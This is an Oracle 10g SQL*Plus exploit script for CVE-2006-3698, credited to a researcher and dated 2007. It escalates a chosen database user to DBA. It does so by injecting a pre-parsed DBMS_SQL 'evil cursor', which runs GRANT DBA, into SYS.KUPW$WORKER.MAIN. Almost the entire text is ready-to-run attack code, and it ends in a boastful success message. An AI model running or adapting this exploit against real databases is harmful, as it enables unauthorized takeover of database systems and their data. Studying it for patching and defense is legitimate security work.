-- 
-- kupw-workerV2.sql
--
--
-- Oracle KUPW$WORKER.MAIN exploit (10g) V2
--
-- Grant dba permission to unprivileged user
-- Evil cursor technique 
--
-- Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
-- 
--   REF:    http://www.securityfocus.com/archive/1/440439
--   
--   AUTHOR: Andrea "bunker" Purificato
--           http://rawlab.mindcreations.com
--
--   DATE:   Copyright 2007 - Thu Feb 26 17:48:27 CET 2007
--
--
set serveroutput on;
prompt [+] kupw-workerV2.sql exploit (CVE-2006-3698)
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2
prompt 
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
prompt
prompt [-] Creating evil cursor...

DECLARE
 MYC NUMBER;
BEGIN
  MYC := DBMS_SQL.OPEN_CURSOR;
  DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction;begin execute immediate ''GRANT DBA TO &the_user'';commit;end;',0);
  SYS.KUPW$WORKER.MAIN(''' AND 0=dbms_sql.execute('||MYC||')--','');
END;
/

prompt [-] YOU GOT THE POWAH!!